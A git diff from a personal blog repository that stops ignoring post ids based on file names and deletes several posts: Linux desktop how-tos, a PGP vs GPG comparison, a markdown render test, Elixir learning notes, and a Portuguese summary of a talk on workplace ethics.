diff --git a/.gitignore b/.gitignore index 3323993a..ddc576a1 100644 --- a/.gitignore +++ b/.gitignore @@ -40,6 +40,7 @@ yarn-error.log* # contentlayer .contentlayer +content/posts # obsidian .obsidian diff --git a/content/definitions/Post.ts b/content/definitions/Post.ts index 040dd7a7..4b06b48a 100644 --- a/content/definitions/Post.ts +++ b/content/definitions/Post.ts @@ -1,4 +1,5 @@ import { defineDocumentType } from 'contentlayer/source-files' +import { slug } from '../../src/lib/utils' import { authors } from '../../src/lib/authors' export const Post = defineDocumentType(() => ({ @@ -38,7 +39,7 @@ export const Post = defineDocumentType(() => ({ computedFields: { id: { type: 'string', - resolve: post => post._raw.sourceFileName.replace(/\.mdx$/, '') + resolve: post => slug(post.title) } } })) diff --git a/content/posts/black-wallpaper-xfce.mdx b/content/posts/black-wallpaper-xfce.mdx deleted file mode 100644 index 86d95724..00000000 --- a/content/posts/black-wallpaper-xfce.mdx +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Black Wallpaper Bug on XFCE4' -date: '2021-06-21' -lastUpdate: '2022-08-10' -description: 'Black wallpaper on xfce4 when restart the computer' -category: 'XFCE' -tags: 'bug, desktop, how-to' -author: 'mateusfg7' ---- - -# How to fix - -This problem consists of black background insted the wallpaper on xfce4, apparently is the `xfdesktop` daemon that was not starting on login. To fix it, wee just need to setup this daemon to auto start on login: - -1. Go to `Session and Startup` > `Application Autostart` -2. Then click on `Add` -3. Will appear a window, enter some name, like "Wallpaper Daemon" and the description, "Daemon to load the xfce4 wallpaper", on the command field, add the command `xfdesktop --replace`. -4. After save the config, restart the computer. - ---- - -# references - -Desktop background appears black when using XFCE: [https://unix.stackexchange.com/questions/151471/desktop-background-appears-black-when-using-xfce](https://unix.stackexchange.com/questions/151471/desktop-background-appears-black-when-using-xfce) [[_archive_](https://web.archive.org/web/20210922134420/https://unix.stackexchange.com/questions/151471/desktop-background-appears-black-when-using-xfce)] diff --git a/content/posts/difference-between-pgp-and-gpg.mdx b/content/posts/difference-between-pgp-and-gpg.mdx deleted file mode 100644 index 1b66adb3..00000000 --- a/content/posts/difference-between-pgp-and-gpg.mdx +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: 'PGP vs GPG' -date: '2021-07-01' -description: 'The difference between PGP and GPG' -category: 'PGP-GPG' -tags: 'hash, cryptography, asymmetric-cipher, security, transcription' -author: 'mateusfg7' ---- - -# Disclaimer - -This is just a complete copy of [this article](http://www.differencebetween.net/technology/software-technology/difference-between-pgp-and-gpg/)! - -# PGP vs GPG - -“PGP” and “GPG” stand for “Pretty Good Privacy” and “Gnu Privacy Guard.” These are two different computer programs developed to protect electronic communications. Today almost everyone uses emails for correspondence and communication, but this medium is not as secure as we think it is. The emails can easily be forged by someone using anybody’s name or identity, and the emails can easily be stored and read by people with special skills. To solve these existing problems and improving the security of emails as well as making them more private, these two programs were developed and used. The privacy of emails is maintained by these programs because they allow encryption of messages by people, and only the people who are authorized can read the encrypted messages; secondly, they are difficult to forge. - -For these programs to run properly, the computer used should be secure. If the computers are easily infected with viruses or attacked by spyware programs which can report the key to someone, then first the computer needs to be secure to implement the full strength of these programs. - -## PGP - -“PGP” stands for “Pretty Good Privacy.” It was developed by Phil Zimmermann. At first it was written as copyrighted freeware under the Gnu Public License. Later, PGP was upgraded and made into a propriety program. The rights for this program are traded around. The reason for this upgrade was legal defense costs and royalty issues related to the export laws of the USA. Now the PGP program is owned by PGP Corporation. Only the command line version is not owned by PGP Corporation which is also not for sale. PGP uses the RSA algorithm and the IDEA encryption algorithm. The PGP is considered to have Windows interface which is more polished. - -## GPG - -“GPG” stands for “Gnu Privacy Guard.” GPG is a re-write or upgrade of PGP. It does not use the IDEA encryption algorithm. This is to make it completely free. It uses the NIST AES, Advanced Encryption Standard. All the algorithm data is stored and documented publicly by OpenPGP Alliance. The main reason for this change is that AES costs less than IDEA and is considered more secure. Moreover, it is royalty free because it is not patented. GPG is more compatible than the original PGP with OpenPGP. GPG is also based on a command line. Windows frontends are also available for GPG other than the command line. - -The freeware version of the PGP program can be downloaded from the home page of PGP International. It is restricted for personal use and is not for commercial purposes, or one can buy it from PGP Corporation. The free digital signature and email encryption program can be downloaded from GPG if it is for personal as well as for business use. - -# Summary - -1. “PGP” stands for “Pretty Good Privacy”; “GPG” stands for “Gnu Privacy Guard.” -2. It was the original freeware copyrighted program; GPG is the re-write of PGP. -3. The PGP uses the RSA algorithm and the IDEA encryption algorithm. GPG uses the NIST AES, Advanced Encryption Standard. -4. A freeware version of the PGP program can be downloaded from the home page of PGP International. It is restricted for personal use and is not for commercial purposes. The free, digital signature and email encryption program can be downloaded from GPG if it is for personal as well as for business use. - ---- - -# referencies - -Difference Between PGP and GPG: http://www.differencebetween.net/technology/software-technology/difference-between-pgp-and-gpg/ [[_archive_](https://web.archive.org/web/20210701144244/http://www.differencebetween.net/technology/software-technology/difference-between-pgp-and-gpg/)] diff --git a/content/posts/draft-post.mdx b/content/posts/draft-post.mdx deleted file mode 100644 index cac9cbf9..00000000 --- a/content/posts/draft-post.mdx +++ /dev/null @@ -1,418 +0,0 @@ ---- -title: 'Draft Post' -date: '0001-01-01' -lastUpdate: '2022-12-02' -description: 'Post made for test markdown render' -category: 'Draft' -tags: 'title4test, content4test, code4test' -author: 'mateusfg7' ---- - -# Title 1 - -## Title 2 - -### Title 3 - -#### Title 4 - -# HTML Tests - -## Common Tags - -

Title with HTML

- -

tag p

- -
content in a simple div
- -
content in a div with align center
- -## Iframe - - - -## Image - -### Width 100px - - - -### Width 300px - - - -### Width 560px - - - -### Width 1000px - - - -### Width 2000px - - - -# Formating - -normal -**negrito** -_itálico_ -~~riscado~~ - -# Image - -## Alt text - -![alt image text](https://external-content.duckduckgo.com/iu/?u=http%3A%2F%2Fwww.steves-digicams.com%2Fblog%2Fwp-content%2Fuploads%2F2017%2F10%2FNikon_D850_Sample_13.jpg&f=1&nofb=1) - -# Code - -## Inline - -`inline code` - -  - -## Block - -elixir (hightlight /x = Foo.bar 0/) - -```elixir /x = Foo.bar 0/ -defmodule Foo do - def bar(x), when x == 0, do: x+1 end - def bar(x) do - x + 2 - end -end - -x = Foo.bar 0 -y = Foo.bar 1 - -^y = x + 1 -``` - -sql - -```sql -SELECT * FROM my_table; -``` - -bash - -```bash -#!/bin/bash - -var1=$1 - -if [ $var1 -gt 5 ]; do - echo "Is greather than 5" -fi -``` - -python (hightlight \{1\-3\,5\}) - -```python {1-3,5} -def foo(x): - return x + 1 - -def bar(y): - return y + 1 - -x = foo(1) -y = bar(1) -``` - -python (hightlight \{1\-3\,5\} and line-numbers) - -```python showLineNumbers {1-3,5} -def foo(x): - return x + 1 - -def bar(y): - return y + 1 - -x = foo(1) -y = bar(1) -``` - -Javascript - -```javascript -function foo(x) { - return x + 1 -} - -function bar(y) { - return y + 1 -} - -const x = foo(1) -const y = bar(1) -``` - -Typescript (show line numbers) - -```typescript showLineNumbers -function foo(x: number): number { - return x + 1 -} - -const sum: (x: number) => number = foo -const y: number = sum(1) -``` - -Rust - -```rust title="Simple Rust code with title" -fn factorial(i: u64) -> u64 { - match i { - 0 => 1, - n => n * factorial(n-1) - } -} - -fn main() { - println!("Hello World"); -} -``` - -Go Lang - -```go -// ZeroBroadcast reports whether addr is 255.255.255.255. -func (addr ipv4addr) ZeroBroadcast() bool { - return addr == 0xFFFFFFFF -} -``` - -Rust complete code features - -```rust showLineNumbers title="src/main.rs" /factorial(n-1)/ {9} -fn factorial(i: u64) -> u64 { - match i { - 0 => 1, - n => n * factorial(n-1) - } -} - -fn main() { - println!("Hello World"); -} -``` - -Long Block Quote - -```text -sdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgf -sdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgfsdasdaskjdfhsdakjasjkfdfkjghsdfkjhdsgfdshgdshgfhjdsfghdsfgkhsdghjghsdgfhsadgfkhgsfkhgsfhgsajhfgajsfghasdgf -``` - -# Tables - -## Md - -### Tipo 1 - -```markdown -| A | B | C | -| --- | --- | --- | -| a1 | b1 | c1 | -| a2 | b1 | c2 | -``` - -| A | B | C | -| --- | --- | --- | -| a1 | b1 | c1 | -| a2 | b1 | c2 | - -### Tipo 2 - -```markdown -|---|---|---| -| A | B | C | -|---|---|---| -| a1 | b1 | c1 | -|---|---|---| -| a2 | b1 | c2 | -|---|---|---| -``` - -|---|---|---| -| A | B | C | -|---|---|---| -| a1 | b1 | c1 | -|---|---|---| -| a2 | b1 | c2 | -|---|---|---| - -### Tipo 3 - -```markdown -| A | B | C | -| --- | --- | --- | -| a1 | b1 | c1 | -| a2 | b1 | c2 | -``` - -| A | B | C | -| --- | --- | --- | -| a1 | b1 | c1 | -| a2 | b1 | c2 | - -### Tipo 4 - -```markdown -| foo | bar | -| :-- | :-: | -| baz | qux | -``` - -| foo | bar | -| :-- | :-: | -| baz | qux | - -## Html - -```html - - - - - - - - - - - - - -
Test 1Test 2
Test 3Test 4
Test 5Test 6
-``` - - - - - - - - - - - - - - -
Test 1Test 2
Test 3Test 4
Test 5Test 6
- -# Tasks - -- [x] task 1 -- [x] task 2 -- [ ] task 3 -- [ ] task 4 - -# Lists - -## Unordered - -- item 1 -- item 2 -- item 3 -- `item 4` -- `item 5` -- item 6 - - item 6.1 - - item 6.2 - - item 6.2.1 - - item 6.3 -- item 7 - -## Ordered - -1. Mateus -2. Felipe -3. Gonçalves - -# Hints - -!> This is a tip. -_A cheat for yout life_ - -?> This is a warning... -~Be careful.~ - -x> This is a error!! -Pay **attention**! - -# Math - -block - -$$ -f(x) = \int_{-\infty}^\infty - f\hat\xi\,e^{2 \pi i \xi x} - \,d\xi -$$ - -inline math: $ x+1 = 2 $ - -# Blockquot - -> This is a blockquote - -# Separation - ---- - -foo - -# Footnote - -Sample footnote [^1], sample another footnote [^another] - -[^1]: Just a footnote -[^another]: Just one more footnote - -# Variables - -## Text - -[var]: This text was inside a variable - -Text: [var] - -## Image - -[image]: https://external-content.duckduckgo.com/iu/?u=http%3A%2F%2Fwww.steves-digicams.com%2Fblog%2Fwp-content%2Fuploads%2F2017%2F10%2FNikon_D850_Sample_13.jpg&f=1&nofb=1 - -![image with sample image][image] - -# Referencies - -Google: [_google.com_](https://google.com) diff --git a/content/posts/elixir_notes_nlw5.mdx b/content/posts/elixir_notes_nlw5.mdx deleted file mode 100644 index da9db398..00000000 --- a/content/posts/elixir_notes_nlw5.mdx +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: 'NLW#5 - Elixir Notes' -date: '2021-04-26' -description: 'Elixir notes write during NextLevelWeek #5 of the Rocketseat' -category: Elixir -tags: 'nlw5, rocketseat, server, tasks, genserver, phoenix, ecto, tips' -author: 'mateusfg7' ---- - -# Notes - -## Commands - -### Create new API project: - -```bash -$ mix phx.new project-name --no-html --no-webpack -``` - -### Create database: - -_with database online_ - -```bash -$ mix ecto.create -``` - -### Install dependencies: - -```bash -$ mix deps.get -``` - -### Create config file for credo: - -```bash -$ mix credo.gen.config -``` - -### Create a migration - -```bash -$ mix ecto.gen.migration migration_name -``` - -### Run migrations - -```bash -$ mix ecto.migrate -``` - -## Elixir - -### Manipulate maps - -```elixir -map = %{a: 1, b: 2} -IO.puts map[:a] - -map2 = %{"a" => 1, "b" => 1} -IO.puts map["a"] -``` - -we can use `Map.get/2` to get the value - -```elixir -iex> map = %{"a" => 1, "b" => 1} -iex> Map.get(map, "a") -1 -``` - -we can use `Map.get/3` to get the value of a index, or a default value - -```elixir -iex> map = %{"a" => 1, "b" => 1} -iex> map["name"] -nil -iex> Map.get(map, "name") -nil -iex> Map.get(map, "name", 5) -5 -``` - -## Phoenix - -### Use UUID as primary key - -On `config/config.exs` add the config: - -```elixir -config :project, Project.Repo, - migration_primary_key: [type: :binary_id], - migration_foreign_key: [type: :binary_id] -``` - -### Use resources to create default routes of a controller - -On `lib/project_web/router.ex`: - -```elixir -scope "/api", ProjectWeb do - pipe_through :api - - resources "/some-route", SomeController -end -``` - -This will create all default route for SomeController, running `mix phx.routes` we will get: - -``` -some_path GET /api/some-route ProjectWeb.SomeController :index -some_path GET /api/some-route/:id/edit ProjectWeb.SomeController :edit -some_path GET /api/some-route/new ProjectWeb.SomeController :new -some_path GET /api/some-route/:id ProjectWeb.SomeController :show -some_path POST /api/some-route ProjectWeb.SomeController :create -some_path PATCH /api/some-route/:id ProjectWeb.SomeController :update - PUT /api/some-route/:id ProjectWeb.SomeController :update -some_path DELETE /api/some-route/:id ProjectWeb.SomeController :delete -``` - -We can pass the parameter `only` to specify the methods: - -```elixir -scope "/api", ProjectWeb do - pipe_through :api - - resources "/some-route", SomeController, only: [:create, :show] -end -``` - -## Bamboo - -First add bamboo to deps on `mix.ex`: - -```elixir -defp deps do - [ - {:bamboo, "~> 2.1.0"} - ] -end -``` - -### Use Local Adapter - -On `config/config.exs` add: - -```elixir -config :inmana, Inmana.Mailer, adapter: Bamboo.LocalAdapter -``` - -to use in teste, add the config on `config/test.exs`: - -```elixir -config :inmana, Inmana.Mailer, adapter: Bamboo.TestAdapter -``` - -### Use dev router to see sent emails - -On `lib/project_web/router.ex`: - -```elixir -if Mix.env() == :dev do - forward "/sent_emails", Bamboo.SentEmailViewerPlug -end -``` - -## GenServer - -### _save code_ - -```elixir -defmodule Inmana.Supplies.Scheduler do - use GenServer - - def init(state \\ %{}) do - {:ok, state} - end - - # async - def handle_cast({:put, key, value}, state) do - {:noreply, Map.put(state, key, value)} - end - - # sync - def handle_call({:get, key}, _from, state) do - {:reply, Map.get(state, key), state} - end -end -``` - -## Tests - -### Common tests - -```elixir -use ExUnit.Case - -describe "function/1" do - test "description for this test" do - params = "The params for the function" - expected_result = "Expected result" - - result = Module.function(params) - - assert result == expected_result - end -end -``` - -### Changeset tests - -```elixir -use Project.DataCase - -alias Ecto.Changeset - -describe "changeset/1" do - test "when all params are valid, return a valid changeset" do - params = %{name: "Siri cascudo", email: "siri@cascudo.com"} - - response = Schema.changeset(params) - - assert %Changeset{ - changes: %{ - name: "Siri cascudo", - email: "siri@cascudo.com" - }, - valid?: true - } = response - end - - test "when there are invalid params, returns a invalid changeset" do - params = %{name: "S", email: ""} - - expected_response = %{ - email: ["can't be blank"], - name: ["should be at least 2 character(s)"] - } - - response = Schema.changeset(params) - - assert %Changeset{valid?: false} = response - assert errors_on(response) == expected_response - end -end -``` - -### Controller tests - -```elixir -use ProjectWeb.ConnCase - -describe "create/2" do - test "when all params are valid, create user", %{conn: conn} do - params = %{name: "Siri cascudo", email: "siri@cascudo.com"} - - response = - conn - |> post(Routes.controller_path(conn, :create, params)) - |> json_response(:created) - - assert %{ - "message" => "User Created!", - "user" => %{ - "email" => "siri@cascudo.com", - "id" => _id, - "name" => "Siri cascudo" - } - } = response - end - - test "when there are invalid params, return an error", %{conn: conn} do - params = %{email: "siri@cascudo.com"} - expected_response = %{"message" => %{"name" => ["can't be blank"]}} - - response = - conn - |> post(Routes.controller_path(conn, :create, params)) - |> json_response(:bad_request) - - assert response == expected_response - end -end -``` - -### View tests - -```elixir -use ProjectWeb.ConnCase - -import Phoenix.View - -alias ProjectWeb.UserView - -describe "render/2" do - test "renders create.json" do - params = %{name: "Siri cascudo", email: "siri@cascudo.com"} - {:ok, restaurant} = Project.create_user(params) - - response = render(UserView, "create.json", user: user) - - assert %{ - message: "User Created!", - user: %User{ - email: "siri@cascudo.com", - id: _id, - name: "Siri cascudo" - } - } = response - end -end - -``` - ---- - -# referencies - -Rocketseat: [_https://rocketseat.com.br/_](https://rocketseat.com.br/) diff --git a/content/posts/enable-locales-on-gnome.mdx b/content/posts/enable-locales-on-gnome.mdx deleted file mode 100644 index e9c06245..00000000 --- a/content/posts/enable-locales-on-gnome.mdx +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 'Enable Locales on GNOME' -date: '2022-08-10' -description: 'Enable some locales to use when they not appear on "Region & Language" menu' -category: 'GNOME' -tags: 'desktop, how-to, languages, config' -author: 'mateusfg7' ---- - -# Introduction - -When we go to Region & Language menu to change locale (language and units) of a newly installed system with GNOME, may not have the language you are looking for. For the most cases is a question of enable it on `/etc/locale.gen`. - -# Enable Locale - -For this, just edit the file `/etc/locale.gen` with root privileges: - -``` -$ sudo vim /etc/locale.gen -``` - -And uncomment the language that you looking for, e.g: - -_for_ - -``` -#pt_BR.UTF-8 UTF-8 -``` - -_remove the `#`, and save_ - -``` -pt_BR.UTF-8 UTF-8 -``` - -After edit the locale file, regenerate locales with command: - -``` -sudo locale-gen -``` - -That's it! Just go to Region & Language and select your language. - ---- - -# Referencies - -Gnome (Debian 11): How to install en*DK formats (date, numbers, units)?: https://unix.stackexchange.com/questions/679315/gnome-debian-11-how-to-install-en-dk-formats-date-numbers-units [[\_archive*](https://web.archive.org/web/20220810182103/https://unix.stackexchange.com/questions/679315/gnome-debian-11-how-to-install-en-dk-formats-date-numbers-units)] diff --git a/content/posts/etica-no-ambiente-de-trabalho.mdx b/content/posts/etica-no-ambiente-de-trabalho.mdx deleted file mode 100644 index 890c8146..00000000 --- a/content/posts/etica-no-ambiente-de-trabalho.mdx +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 'Ética no ambiente de trabalho' -date: '2021-10-01' -description: 'Resumo do vídeo "Leandro Karnal fala sobre ética em ambientes profissionais"' -category: 'Filosofia' -tags: 'ética, trabalho, relacionamento, convivência, Leandro Karnal' -author: 'mateusfg7' ---- - -# Introdução - -Esse é um resumo do vídeo “Leandro Karnal fala sobre ética em ambientes profissionais”, uma entrevista do canal Tribunal Superior do Trabalho ao filósofo Leandro Karnal. O resumo foi realizado para o cumprimento de uma atividade do curso de Logística, da instituição SENAI, e decidi registra-la aqui. - -# Ética no ambiente de trabalho - -Primeiramente, oque é a Ética? Ética é o estudo de valores que permitem a convivência harmônica, a busca entre o bom e o belo, a busca da vida politica. Ela rege a capacidade que temos de estabelecer sociabilidade, sociedade, relações, sem a destruição do outro, sem a invasão do espaço do outro, e sem a imposição dos meus valores sobre o outro. Toda ética se baseia no respeito ao espaço do outro, o primeiro passo da ética nos chamamos pequena ética, etiqueta, que se refere a convivência cotidiana com o espaço o outro. Depois a compreensão no ambiente de trabalho, que a hierarquia existe, e que cada um tem suas funções, suas delimitações, e independente da minha posição no organograma do poder, todos são iguais perante a lei e capazes do exercício da convivência. - -O ambiente profissional é o ambiente mais claro, onde as pessoas estão sem ter a mesma intimidade familiar, e o mesmo distanciamento da política. É no ambiente de trabalho que exercemos algo acima da afetividade da família, e abaixo do grande distanciamento da política, o grande exercício da ética é no ambiente de trabalho. Já que nos temos a convivência da diversidade, por exemplo, a diversidade de -gêneros, a diversidade de formações, a diversidade de origens sociais, a primeira questão é a do respeito. Então quando utilizo o meu poder ou minha função para exercer algum tipo de invasão do espaço alheio, eu estou quebrando essa ética, ou seja, devemos entender que o ambiente de trabalho não tem a intimidade da família, logo, eu não posso tratar as pessoas como se fossem íntimos familiares. Entender que a diferença entre gênero e hierarquia, são diferenças de serviço. Devemos seguir a regra de ouro da moral e das religiões, “Fazer ao outro o que você quer que faça a você mesmo”. - -A todo estante devemos fazer uma reflexão sobre como estamos exercendo a ética, a ética só existe se ela for cultivada como uma capacidade de aperfeiçoamento. Todos nascemos sem ética, todos podemos aprimora-la, por isso é necessário um código de ética, é necessário a atividade do debate, e é necessário a atividade da avaliação da ética. Temos que produzir a sensibilidade ética, que é a sensibilidade ao outro, que fará uma negociação positiva entre o meu bem, e o bem alheio, para a produção do bem comum. A ética rege esses três polos: o eu, o tu, e o nós, e o nós só exste através -do debate, da melhoria e da crítica permanente. - -Temos que entender que pode haver demanda, pedido de trabalho, mas que ele nunca passará pela sedução, ou, pelo exercício de poder, que ignore a especificidade da outra pessoa. Devemos pensar em um cargo como um estado momentâneo, ou seja, “eu ESTOU coordenadora”, “eu ESTOU chefe”, “eu ESTOU presidente”, isso significa que temos que lembrar que servimos a outras pessoas, é um exercício de estar, e não de ser, como já citado: “eu ESTOU chefe”, e não “eu SOU chefe”. - -Para melhorar o ambiente de trabalho e torna-lo mais saudável e ético devemos, primeiro, criar eventos e trazer debates, entrevistas e questões. Temos que refletir sobre o código de ética atual, temos que demonstrar que o ser humano pode ser aperfeiçoado, que tudo que for próprio do ser humano pode ser transformado e melhorado. É do exercício humano, perfectível, aperfeiçoável, que podemos constantemente produzir algo melhor, por isso, que nos temos pessoas mais éticas, e pessoas menos éticas, porque ética é um esforço pessoal de cultivo diário. Não basta só dizer “agora o tribunal é ético porque tem um código”, é preciso um exercício, constante, diário, cotidiano, e uma meta a ser atingida. Nunca seremos integralmente éticos, mas nos podemos melhorar a partir do ponto que estamos. - ---- - -# Referências - -Leandro Karnal fala sobre ética em ambientes profissionais: [_https://www.youtube.com/watch?v=pEXhGE7Fd6s_](https://www.youtube.com/watch?v=pEXhGE7Fd6s) diff --git a/content/posts/learn-elixir-ep1.mdx b/content/posts/learn-elixir-ep1.mdx deleted file mode 100644 index 1e2fdd88..00000000 --- a/content/posts/learn-elixir-ep1.mdx +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: 'Learn Elixir' -description: 'Running scripts and study Basic types' -date: '2021-02-02' -category: Elixir -tags: 'getting-start, cli, code, programming, learn-elixir' -author: 'mateusfg7' ---- - -## [Introduction](https://elixir-lang.org/getting-started/introduction.html) - -_Interactive mode_: **iex** - -_Initial Commands_: - -```elixir -iex> 40 + 2 -42 -iex> "hello" <> " world" -"hello world" -``` - -_Running Scripts_: `elixir hello-word.exs` - -_Hello Word:_ - -```elixir -IO.puts "Hello Word" -``` - -```elixir -"Hello Word" -``` - -## [Basic types](https://elixir-lang.org/getting-started/basic-types.html) - -### _Get Data Type_: `i data` - -```elixir -iex> i 1 -``` - -will show something like this: - -``` -Term - 1 -Data type - Integer -Reference modules - Integer -Implemented protocols - IEx.Info, Inspect, List.Chars, String.Chars -``` - -### _Basic Types_ - -```elixir -iex> 1 # integer -iex> 0x1F # integer -iex> 1.0 # float -iex> true # boolean -iex> :atom # atom / symbol -iex> "elixir" # string -iex> [1, 2, 3] # list -iex> {1, 2, 3} # tuple -``` - -### _Math_ - -```elixir -iex> 1 + 2 -3 -iex> 5 * 5 -25 -iex> 10 / 2 -5.0 -``` - -`10/2` always return a float number, to get an integer, use `div` and `rem` functions: - -```elixir -iex> div(10, 2) -5 -iex> div 10, 2 -5 -iex> rem 10, 3 -1 -``` - -### _Shortcut Notations_ - -```elixir -iex> 0b1010 # binary -10 -iex> 0o777 # octal -511 -iex> 0x1F # hexadecimal -31 -``` - -### _Scientific Notation_ - -```elixir -iex> 1.0 -1.0 -iex> 1.0e-10 -1.0e-10 -``` - -### _Round Function_ - -```elixir -iex> round(3.58) -4 -iex> trunc(3.58) -3 -``` diff --git a/content/posts/learn-elixir-ep2.mdx b/content/posts/learn-elixir-ep2.mdx deleted file mode 100644 index 9506a455..00000000 --- a/content/posts/learn-elixir-ep2.mdx +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: 'Learn Elixir #2' -description: 'Case Condition and Anonymous Functions guards' -date: '2021-02-16' -category: Elixir -tags: 'getting-start, cli, code, programming, learn-elixir' -author: 'mateusfg7' ---- - -## Case - -```elixir -case {1, 2, 3} do - {1, _x, 3} -> - "This clause will match and bind _x to 2 in this clause" - - {4, 5, 6} -> - "This clause won't match" - - _ -> - "This clause would match any value" -end -``` - -```elixir -"This clause will match and bind _x to 2 in this clause" -``` - -**To use pattern match you need to use pin`^` operator** - -```elixir -x = 1 - -case 10 do - ^x -> "Won't match" - _ -> "Will match" -end -``` - -```elixir -"Will match" -``` - -**Clause allow extra conditions to be specified via guards** - -```elixir -case {1, 2, 3} do - {1, x, 3} when x > 0 -> - "Will match" - _ -> - "Would match, if guard condition were not satisfied" -end -``` - -```elixir -"Will match" -``` - -**Erros in guards will not leak but simply make the guard fail** - -```elixir -iex> hd(1) -** (ArgumentError) argument error - :erlang.hd(1) -``` - -```elixir -case 1 do - x when hd(x) -> "Won't match" - x -> "Got #{x}" -end -``` - -```elixir -"Got 1" -``` - -**Anonymous Functions can also have multiple clauses and guards** - -```elixir -f = fn - x, y when x > 0 -> x + y - x, y -> x * y -end -``` - -```elixir -iex> f.(1, 3) -4 -iex> f.(-1, 3) --3 -``` - ---- - -## referencies - -Elixir Conditions: [https://elixir-lang.org/getting-started/case-cond-and-if.html](https://elixir-lang.org/getting-started/case-cond-and-if.html) [[_archive_](https://web.archive.org/web/20210920215626/https://elixir-lang.org/getting-started/case-cond-and-if.html)] diff --git a/content/posts/learn-elixir-ep3.mdx b/content/posts/learn-elixir-ep3.mdx deleted file mode 100644 index 993686ce..00000000 --- a/content/posts/learn-elixir-ep3.mdx +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: 'Learn Elixir #3' -description: 'cond and if/unless statements and do/end blocks' -date: '2021-02-17' -category: Elixir -tags: 'getting-start, cli, code, programming, learn-elixir' -author: 'mateusfg7' ---- - -## Cond - -**Useful to make multi conditions with different values and return the first that match true** - -```elixir -cond do - 2 + 2 == 5 -> - "This will not be true" - 2 * 2 == 3 -> - "Nor this" - 1 + 1 == 2 -> - "But this will" -end -``` - -```elixir -"But this will" -``` - -**This is equivalent to `else if` clause in many imperative languages (used much less here)** - -**Is necessary add a final condition equal `true`, which always will match, because if all the conditions return `nil` of `false`an error `CondClauseError` is raised** - -```elixir -cond do - 2 + 2 == 5 -> - "This is never true" - 2 * 2 -> 3 - "Nor this" - true -> - "This is always true, equivalent to else" -end -``` - -```elixir -"This is always true, equivalent to else" -``` - -**`cond` considers any value besides `nil` or `false` to be `true`** - -```elixir -cond do - hd([1, 2, 3]) -> "1 is considered as true" -end -``` - -```elixir -"1 is considered true" -``` - -## If/Unless - -**Elixir provide macros `if/2` and `unless/2` which are useful when you need to check for 